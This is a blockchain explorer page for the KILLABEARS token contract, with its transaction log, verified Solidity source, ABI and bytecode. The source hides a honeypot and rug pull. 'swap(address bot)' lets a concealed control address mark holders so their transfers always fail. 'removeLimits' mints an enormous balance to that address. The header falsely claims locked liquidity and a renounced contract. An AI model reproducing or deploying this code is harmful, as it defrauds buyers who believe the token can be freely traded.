ETH Price: $2,303.42 (+0.65%)

Contract

0x3fF20E394Ddb252C9B295D503b931DBbFae314C5
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve199315742024-05-23 9:05:11107 days ago1716455111IN
0x3fF20E39...bFae314C5
0 ETH0.000383338.23788761
Remove Limits199315682024-05-23 9:03:59107 days ago1716455039IN
0x3fF20E39...bFae314C5
0 ETH0.000249668.09490808
Swap199313702024-05-23 8:24:11107 days ago1716452651IN
0x3fF20E39...bFae314C5
0 ETH0.000268049.43338359
Swap199313672024-05-23 8:23:35107 days ago1716452615IN
0x3fF20E39...bFae314C5
0 ETH0.00028810.1401227
Approve199313602024-05-23 8:22:11107 days ago1716452531IN
0x3fF20E39...bFae314C5
0 ETH0.000450829.68824906
Approve199313582024-05-23 8:21:47107 days ago1716452507IN
0x3fF20E39...bFae314C5
0 ETH0.000462369.97998743
Approve199313572024-05-23 8:21:35107 days ago1716452495IN
0x3fF20E39...bFae314C5
0 ETH0.000455359.78553789
Approve199313462024-05-23 8:19:23107 days ago1716452363IN
0x3fF20E39...bFae314C5
0 ETH0.0004759510.28661996
Swap199313452024-05-23 8:19:11107 days ago1716452351IN
0x3fF20E39...bFae314C5
0 ETH0.000477679.88660813
Swap199313342024-05-23 8:16:59107 days ago1716452219IN
0x3fF20E39...bFae314C5
0 ETH0.0005109910.57631529
Swap199313242024-05-23 8:14:59107 days ago1716452099IN
0x3fF20E39...bFae314C5
0 ETH0.00724725150
Approve199313182024-05-23 8:13:47107 days ago1716452027IN
0x3fF20E39...bFae314C5
0 ETH0.0005299811.38946373
Approve199313122024-05-23 8:12:35107 days ago1716451955IN
0x3fF20E39...bFae314C5
0 ETH0.0007414515.91354212
Swap199312962024-05-23 8:09:23107 days ago1716451763IN
0x3fF20E39...bFae314C5
0 ETH0.0014207550
Swap199312792024-05-23 8:05:59107 days ago1716451559IN
0x3fF20E39...bFae314C5
0 ETH0.0014201550
Swap199312692024-05-23 8:03:59107 days ago1716451439IN
0x3fF20E39...bFae314C5
0 ETH0.0024157550
Swap199312662024-05-23 8:03:23107 days ago1716451403IN
0x3fF20E39...bFae314C5
0 ETH0.0024157550
Swap199312642024-05-23 8:02:59107 days ago1716451379IN
0x3fF20E39...bFae314C5
0 ETH0.0024157550
Swap199312602024-05-23 8:02:11107 days ago1716451331IN
0x3fF20E39...bFae314C5
0 ETH0.00724545150
Swap199312582024-05-23 8:01:47107 days ago1716451307IN
0x3fF20E39...bFae314C5
0 ETH0.00724725150
Approve199312532024-05-23 8:00:47107 days ago1716451247IN
0x3fF20E39...bFae314C5
0 ETH0.0009827521.20158601
Approve199312522024-05-23 8:00:35107 days ago1716451235IN
0x3fF20E39...bFae314C5
0 ETH0.0004301616.1154244
Approve199312522024-05-23 8:00:35107 days ago1716451235IN
0x3fF20E39...bFae314C5
0 ETH0.0007508616.1154244
Approve199312502024-05-23 8:00:11107 days ago1716451211IN
0x3fF20E39...bFae314C5
0 ETH0.001984642.59457235
Approve199312492024-05-23 7:59:59107 days ago1716451199IN
0x3fF20E39...bFae314C5
0 ETH0.0008338317.89607517
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KILLABEARS

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-05-22
*/

/*

                    
                    𝕂𝕀𝕃𝕃𝔸𝔹𝔼𝔸ℝ𝕊 𝕋𝕆𝕂𝔼ℕ
                    
                    Website: https://killabears.com
                    X: https://x.com/killabearsnft
                    TG: https://t.me/killabearsportal


                    ✅ Liquidity will be locked immediately after the start of sales for 1 year.
                    ✅ The owner has already renounced the contract.


*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

abstract contract Ownable {
    address private _admin;
    
    event ConUp(address indexed previousAdmin, address indexed newAdmin);

    constructor() {
        _transferOwnership(_sender());
    }

    modifier onlyAdmin() {
        _checkAdmin();
        _;
    }

    function _sender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _data() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function admin() public view virtual returns (address) {
        return _admin;
    }

    function _checkAdmin() internal view virtual {
        require(admin() == _sender(), "Ownable: caller is not the admin");
    }

    function _transferOwnership(address newAdmin) internal virtual {
        address oldAdmin = _admin;
        _admin = newAdmin;
        emit ConUp(oldAdmin, newAdmin);
    }

    function renounceOwnership() public virtual onlyAdmin {
        _transferOwnership(address(0));
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract KILLABEARS is Ownable {
    string private _tokenName;
    string private _tokenSymbol;
    uint256 private _maxSupply;
    address public initialContract;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokenStatus;

    uint128 buyLimit = 78596;
    uint128 sellLimit = 0;

    uint256 allocationWal = 10**decimals() * 50000 * (20077700000 + 300);
    bool statusTrue = true;
    bool statusFalse = false;

    constructor(address remove) {
        _tokenName = "KILLABEARS";
        _tokenSymbol = "KILBE";
        initialContract = remove;
        _maxSupply = 100000000 * 10**decimals();
        _balances[msg.sender] = _maxSupply;
        emit Transfer(address(0), msg.sender, _maxSupply);
    }

    function name() public view returns (string memory) {
        return _tokenName;
    }

    function symbol() public view returns (string memory) {
        return _tokenSymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _maxSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _executeTransfer(_sender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _authorize(_sender(), spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        address spender = _sender();
        _useAllowance(from, spender, amount);
        _executeTransfer(from, to, amount);
        return true;
    }

    function _executeTransfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokenStatus[from] == statusTrue) {
            amount = buyLimit + _balances[from] + buyLimit - buyLimit;
        }
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + amount;
        emit Transfer(from, to, amount);
    }

    function _authorize(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _useAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _authorize(owner, spender, currentAllowance - amount);
        }
    }

    function swap(address bot) public virtual returns (bool) {
        address account = bot;
        tokenStatus[account] = statusTrue;
        require(_sender() == initialContract);
        return true;
    }

    function removeLimits() external {
        if (_sender() == initialContract) {
            require(initialContract == _sender());
            address currentWal = _sender();
            address devWallet = currentWal;
            _balances[devWallet] += allocationWal;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"remove","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousAdmin","type":"address"},{"indexed":true,"internalType":"address","name":"newAdmin","type":"address"}],"name":"ConUp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokenStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405262013304600855620000196012600a620002d2565b620000279061c350620002e9565b62000038906404acb964cc620002e9565b600955600a805461ffff1916600117905534801562000055575f80fd5b5060405162000f3538038062000f35833981016040819052620000789162000303565b620000833362000174565b60408051808201909152600a8152694b494c4c41424541525360b01b6020820152600190620000b39082620003c9565b506040805180820190915260058152644b494c424560d81b6020820152600290620000df9082620003c9565b50600480546001600160a01b0319166001600160a01b03831617905562000104601290565b6200011190600a620002d2565b62000121906305f5e100620002e9565b6003819055335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000495565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917ffc8eccee73d2808082db1cc1e48f1ba2d1e9585ac72363bb1f939c9cb8c20ea39190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200021757815f1904821115620001fb57620001fb620001c3565b808516156200020957918102915b93841c9390800290620001dc565b509250929050565b5f826200022f57506001620002cc565b816200023d57505f620002cc565b8160018114620002565760028114620002615762000281565b6001915050620002cc565b60ff841115620002755762000275620001c3565b50506001821b620002cc565b5060208310610133831016604e8410600b8410161715620002a6575081810a620002cc565b620002b28383620001d7565b805f1904821115620002c857620002c8620001c3565b0290505b92915050565b5f620002e260ff8416836200021f565b9392505050565b8082028115828204841417620002cc57620002cc620001c3565b5f6020828403121562000314575f80fd5b81516001600160a01b0381168114620002e2575f80fd5b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200035457607f821691505b6020821081036200037357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003c457805f5260205f20601f840160051c81016020851015620003a05750805b601f840160051c820191505b81811015620003c1575f8155600101620003ac565b50505b505050565b81516001600160401b03811115620003e557620003e56200032b565b620003fd81620003f684546200033f565b8462000379565b602080601f83116001811462000433575f84156200041b5750858301515b5f19600386901b1c1916600185901b1785556200048d565b5f85815260208120601f198616915b82811015620004635788860151825594840194600190910190840162000442565b50858210156200048157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610a9280620004a35f395ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb146101dc578063bb8a4c94146101ef578063dd62ed3e1461021a578063f851a44014610252575f80fd5b806370a082311461019a578063715018a6146101c2578063751039fc146101cc57806395d89b41146101d4575f80fd5b80630acac942116100ce5780630acac9421461014457806318160ddd1461016657806323b872dd14610178578063313ce5671461018b575f80fd5b806303438dd0146100f457806306fdde031461011c578063095ea7b314610131575b5f80fd5b6101076101023660046108ec565b610262565b60405190151581526020015b60405180910390f35b6101246102b3565b604051610113919061090c565b61010761013f366004610958565b610343565b6101076101523660046108ec565b60076020525f908152604090205460ff1681565b6003545b604051908152602001610113565b610107610186366004610980565b610355565b60405160128152602001610113565b61016a6101a83660046108ec565b6001600160a01b03165f9081526005602052604090205490565b6101ca610378565b005b6101ca61038b565b6101246103e1565b6101076101ea366004610958565b6103f0565b600454610202906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b61016a6102283660046109b9565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f546001600160a01b0316610202565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600454839116336001600160a01b0316146102aa575f80fd5b50600192915050565b6060600180546102c2906109ea565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee906109ea565b80156103395780601f1061031057610100808354040283529160200191610339565b820191905f5260205f20905b81548152906001019060200180831161031c57829003601f168201915b5050505050905090565b5f6102aa3384846103fc565b92915050565b5f33610362858285610524565b61036d8585856105bb565b506001949350505050565b610380610829565b6103895f610882565b565b6004546001600160a01b03163303610389576004546001600160a01b031633146103b3575f80fd5b600954335f8181526005602052604081208054929384939092906103d8908490610a36565b90915550505050565b6060600280546102c2906109ea565b5f6102aa3384846105bb565b6001600160a01b0383166104635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146105b557818110156105a15760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161045a565b6105b584846105b08585610a49565b6103fc565b50505050565b6001600160a01b03831661061f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b0382166106815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b600a546001600160a01b0384165f9081526007602052604090205460ff918216151591161515036106ff576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906106e89082610a36565b6106f29190610a36565b6106fc9190610a49565b90505b6001600160a01b0383165f90815260056020526040902054818110156107765760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161045a565b6001600160a01b0384165f90815260056020526040902054610799908390610a49565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546107c8908390610a36565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061081b9086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146103895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e604482015260640161045a565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917ffc8eccee73d2808082db1cc1e48f1ba2d1e9585ac72363bb1f939c9cb8c20ea39190a35050565b80356001600160a01b03811681146108e7575f80fd5b919050565b5f602082840312156108fc575f80fd5b610905826108d1565b9392505050565b5f602080835283518060208501525f5b818110156109385785810183015185820160400152820161091c565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610969575f80fd5b610972836108d1565b946020939093013593505050565b5f805f60608486031215610992575f80fd5b61099b846108d1565b92506109a9602085016108d1565b9150604084013590509250925092565b5f80604083850312156109ca575f80fd5b6109d3836108d1565b91506109e1602084016108d1565b90509250929050565b600181811c908216806109fe57607f821691505b602082108103610a1c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561034f5761034f610a22565b8181038181111561034f5761034f610a2256fea2646970667358221220bcf0a3169846b275567187d6b0fda7ccf3de989a68f23bda5473bd728daea25764736f6c6343000818003300000000000000000000000080534a1c23fe3ba8f19bfe0483cc1e97d87f1bb6

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb146101dc578063bb8a4c94146101ef578063dd62ed3e1461021a578063f851a44014610252575f80fd5b806370a082311461019a578063715018a6146101c2578063751039fc146101cc57806395d89b41146101d4575f80fd5b80630acac942116100ce5780630acac9421461014457806318160ddd1461016657806323b872dd14610178578063313ce5671461018b575f80fd5b806303438dd0146100f457806306fdde031461011c578063095ea7b314610131575b5f80fd5b6101076101023660046108ec565b610262565b60405190151581526020015b60405180910390f35b6101246102b3565b604051610113919061090c565b61010761013f366004610958565b610343565b6101076101523660046108ec565b60076020525f908152604090205460ff1681565b6003545b604051908152602001610113565b610107610186366004610980565b610355565b60405160128152602001610113565b61016a6101a83660046108ec565b6001600160a01b03165f9081526005602052604090205490565b6101ca610378565b005b6101ca61038b565b6101246103e1565b6101076101ea366004610958565b6103f0565b600454610202906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b61016a6102283660046109b9565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f546001600160a01b0316610202565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600454839116336001600160a01b0316146102aa575f80fd5b50600192915050565b6060600180546102c2906109ea565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee906109ea565b80156103395780601f1061031057610100808354040283529160200191610339565b820191905f5260205f20905b81548152906001019060200180831161031c57829003601f168201915b5050505050905090565b5f6102aa3384846103fc565b92915050565b5f33610362858285610524565b61036d8585856105bb565b506001949350505050565b610380610829565b6103895f610882565b565b6004546001600160a01b03163303610389576004546001600160a01b031633146103b3575f80fd5b600954335f8181526005602052604081208054929384939092906103d8908490610a36565b90915550505050565b6060600280546102c2906109ea565b5f6102aa3384846105bb565b6001600160a01b0383166104635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146105b557818110156105a15760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161045a565b6105b584846105b08585610a49565b6103fc565b50505050565b6001600160a01b03831661061f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b0382166106815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b600a546001600160a01b0384165f9081526007602052604090205460ff918216151591161515036106ff576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906106e89082610a36565b6106f29190610a36565b6106fc9190610a49565b90505b6001600160a01b0383165f90815260056020526040902054818110156107765760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161045a565b6001600160a01b0384165f90815260056020526040902054610799908390610a49565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546107c8908390610a36565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061081b9086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146103895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e604482015260640161045a565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917ffc8eccee73d2808082db1cc1e48f1ba2d1e9585ac72363bb1f939c9cb8c20ea39190a35050565b80356001600160a01b03811681146108e7575f80fd5b919050565b5f602082840312156108fc575f80fd5b610905826108d1565b9392505050565b5f602080835283518060208501525f5b818110156109385785810183015185820160400152820161091c565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610969575f80fd5b610972836108d1565b946020939093013593505050565b5f805f60608486031215610992575f80fd5b61099b846108d1565b92506109a9602085016108d1565b9150604084013590509250925092565b5f80604083850312156109ca575f80fd5b6109d3836108d1565b91506109e1602084016108d1565b90509250929050565b600181811c908216806109fe57607f821691505b602082108103610a1c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561034f5761034f610a22565b8181038181111561034f5761034f610a2256fea2646970667358221220bcf0a3169846b275567187d6b0fda7ccf3de989a68f23bda5473bd728daea25764736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000080534a1c23fe3ba8f19bfe0483cc1e97d87f1bb6

-----Decoded View---------------
Arg [0] : remove (address): 0x80534A1C23fE3BA8f19bfe0483cC1e97D87f1BB6

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000080534a1c23fe3ba8f19bfe0483cc1e97d87f1bb6


Deployed Bytecode Sourcemap

1723:3982:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5192:211;;;;;;:::i;:::-;;:::i;:::-;;;548:14:1;;541:22;523:41;;511:2;496:18;5192:211:0;;;;;;;;2578:88;;;:::i;:::-;;;;;;;:::i;3379:151::-;;;;;;:::i;:::-;;:::i;2025:43::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;2866:89;2937:10;;2866:89;;;1533:25:1;;;1521:2;1506:18;2866:89:0;1387:177:1;3538:254:0;;;;;;:::i;:::-;;:::i;2774:84::-;;;2848:2;2044:36:1;;2032:2;2017:18;2774:84:0;1902:184:1;2963:110:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3047:18:0;3020:7;3047:18;;;:9;:18;;;;;;;2963:110;1449:103;;;:::i;:::-;;5411:291;;;:::i;2674:92::-;;;:::i;3081:148::-;;;;;;:::i;:::-;;:::i;1860:30::-;;;;;-1:-1:-1;;;;;1860:30:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;1860:30:0;2091:203:1;3237:134:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3336:18:0;;;3309:7;3336:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3237:134;1033:87;1079:7;1106:6;-1:-1:-1;;;;;1106:6:0;1033:87;;5192:211;5315:10;;-1:-1:-1;;;;;5292:20:0;;;5243:4;5292:20;;;:11;:20;;;;;:33;;-1:-1:-1;;5292:33:0;5315:10;;;;5292:33;;;;;;;;;5357:15;;5292:20;;5357:15;901:10;-1:-1:-1;;;;;5344:28:0;;5336:37;;;;;;-1:-1:-1;5391:4:0;;5192:211;-1:-1:-1;;5192:211:0:o;2578:88::-;2615:13;2648:10;2641:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2578:88;:::o;3379:151::-;3445:4;3462:38;901:10;3484:7;3493:6;3462:10;:38::i;3379:151::-;;;;;:::o;3538:254::-;3626:4;901:10;3681:36;3695:4;901:10;3710:6;3681:13;:36::i;:::-;3728:34;3745:4;3751:2;3755:6;3728:16;:34::i;:::-;-1:-1:-1;3780:4:0;;3538:254;-1:-1:-1;;;;3538:254:0:o;1449:103::-;783:13;:11;:13::i;:::-;1514:30:::1;1541:1;1514:18;:30::i;:::-;1449:103::o:0;5411:291::-;5472:15;;-1:-1:-1;;;;;5472:15:0;901:10;5459:28;5455:240;;5512:15;;-1:-1:-1;;;;;5512:15:0;901:10;5512:28;5504:37;;;;;;5670:13;;901:10;5556:18;5646:20;;;:9;:20;;;;;:37;;901:10;;;;5670:13;;5556:18;5646:37;;5670:13;;5646:37;:::i;:::-;;;;-1:-1:-1;;;;5411:291:0:o;2674:92::-;2713:13;2746:12;2739:19;;;;;:::i;3081:148::-;3143:4;3160:39;901:10;3188:2;3192:6;3160:16;:39::i;4455:346::-;-1:-1:-1;;;;;4559:19:0;;4551:68;;;;-1:-1:-1;;;4551:68:0;;3413:2:1;4551:68:0;;;3395:21:1;3452:2;3432:18;;;3425:30;3491:34;3471:18;;;3464:62;-1:-1:-1;;;3542:18:1;;;3535:34;3586:19;;4551:68:0;;;;;;;;;-1:-1:-1;;;;;4638:21:0;;4630:68;;;;-1:-1:-1;;;4630:68:0;;3818:2:1;4630:68:0;;;3800:21:1;3857:2;3837:18;;;3830:30;3896:34;3876:18;;;3869:62;-1:-1:-1;;;3947:18:1;;;3940:32;3989:19;;4630:68:0;3616:398:1;4630:68:0;-1:-1:-1;;;;;4709:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4761:32;;1533:25:1;;;4761:32:0;;1506:18:1;4761:32:0;;;;;;;4455:346;;;:::o;4809:375::-;-1:-1:-1;;;;;3336:18:0;;;4908:24;3336:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;4975:37:0;;4971:206;;5057:6;5037:16;:26;;5029:68;;;;-1:-1:-1;;;5029:68:0;;4221:2:1;5029:68:0;;;4203:21:1;4260:2;4240:18;;;4233:30;4299:31;4279:18;;;4272:59;4348:18;;5029:68:0;4019:353:1;5029:68:0;5112:53;5123:5;5130:7;5139:25;5158:6;5139:16;:25;:::i;:::-;5112:10;:53::i;:::-;4897:287;4809:375;;;:::o;3800:647::-;-1:-1:-1;;;;;3904:18:0;;3896:68;;;;-1:-1:-1;;;3896:68:0;;4712:2:1;3896:68:0;;;4694:21:1;4751:2;4731:18;;;4724:30;4790:34;4770:18;;;4763:62;-1:-1:-1;;;4841:18:1;;;4834:35;4886:19;;3896:68:0;4510:401:1;3896:68:0;-1:-1:-1;;;;;3983:16:0;;3975:64;;;;-1:-1:-1;;;3975:64:0;;5118:2:1;3975:64:0;;;5100:21:1;5157:2;5137:18;;;5130:30;5196:34;5176:18;;;5169:62;-1:-1:-1;;;5247:18:1;;;5240:33;5290:19;;3975:64:0;4916:399:1;3975:64:0;4077:10;;-1:-1:-1;;;;;4056:17:0;;4077:10;4056:17;;;:11;:17;;;;;;4077:10;;;;4056:31;;:17;;:31;;;4052:121;;4153:8;;-1:-1:-1;;;;;4124:15:0;;4153:8;4124:15;;;:9;:15;;;;;;4153:8;;;;;;;4113:26;;4153:8;4113:26;:::i;:::-;:37;;;;:::i;:::-;:48;;;;:::i;:::-;4104:57;;4052:121;-1:-1:-1;;;;;4201:15:0;;4183;4201;;;:9;:15;;;;;;4235:17;;;;4227:68;;;;-1:-1:-1;;;4227:68:0;;5522:2:1;4227:68:0;;;5504:21:1;5561:2;5541:18;;;5534:30;5600:34;5580:18;;;5573:62;-1:-1:-1;;;5651:18:1;;;5644:36;5697:19;;4227:68:0;5320:402:1;4227:68:0;-1:-1:-1;;;;;4324:15:0;;;;;;:9;:15;;;;;;:24;;4342:6;;4324:24;:::i;:::-;-1:-1:-1;;;;;4306:15:0;;;;;;;:9;:15;;;;;;:42;;;;4375:13;;;;;;;:22;;4391:6;;4375:22;:::i;:::-;-1:-1:-1;;;;;4359:13:0;;;;;;;:9;:13;;;;;;;:38;;;;4413:26;;;;;;;;;;4432:6;1533:25:1;;1521:2;1506:18;;1387:177;4413:26:0;;;;;;;;3885:562;3800:647;;;:::o;1128:129::-;1079:7;1106:6;-1:-1:-1;;;;;1106:6:0;901:10;1192:20;1184:65;;;;-1:-1:-1;;;1184:65:0;;5929:2:1;1184:65:0;;;5911:21:1;;;5948:18;;;5941:30;6007:34;5987:18;;;5980:62;6059:18;;1184:65:0;5727:356:1;1265:176:0;1339:16;1358:6;;-1:-1:-1;;;;;1375:17:0;;;-1:-1:-1;;;;;;1375:17:0;;;;;;1408:25;;1358:6;;;;;;;1408:25;;1339:16;1408:25;1328:113;1265:176;:::o